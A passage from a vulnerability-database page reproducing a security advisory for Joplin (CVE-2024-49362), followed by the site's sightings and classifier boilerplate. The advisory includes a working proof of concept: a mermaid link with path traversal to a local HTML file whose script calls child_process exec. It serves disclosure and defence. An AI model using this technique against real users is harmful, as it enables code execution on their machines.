[GHSA-g8qx-5vcm-3x59](https://github.com/laurent22/joplin/security/advisories/GHSA-g8qx-5vcm-3x59), where the malicious HTML file is available locally):\n\n+ `poc.md`\n````markdown\n```mermaid\nflowchart TD\n A[\u003ca href=\"/../../../../../../../../../../../../../../../path/to/poc2.html\" data-from-md\u003ehello\u003c/a\u003e]\n```\n````\n\n+ `poc2.html`\n```\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003e\n if (typeof window.parent.require !== \u0027undefined\u0027) {\n const { exec } = window.parent.require(\u0027child_process\u0027);\n exec(\u0027ls -al\u0027, (err, stdout, stderr) =\u003e {\n if (err) {\n document.body.innerText = `Error: ${err.message}`;\n return;\n }\n if (stderr) {\n document.body.innerText = `Stderr: ${stderr}`;\n return;\n }\n document.body.innerText = stdout;\n });\n } else {\n document.body.innerText = \u0027Require is not available in this environment.\u0027;\n }\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThen, open the `poc.md` with `Joplin` and click on the `hello` link. The code embedded in the `poc2.html` will be executed.\n\n\n\n### Impact\n\nThis vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.",
"id": "GHSA-hff8-hjwv-j9q7",
"modified": "2025-01-30T18:05:55Z",
"published": "2024-11-14T17:38:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49362"
},
{
"type": "PACKAGE",
"url": "https://github.com/laurent22/joplin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Remote Code Execution on click of \u003ca\u003e Link in markdown preview"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.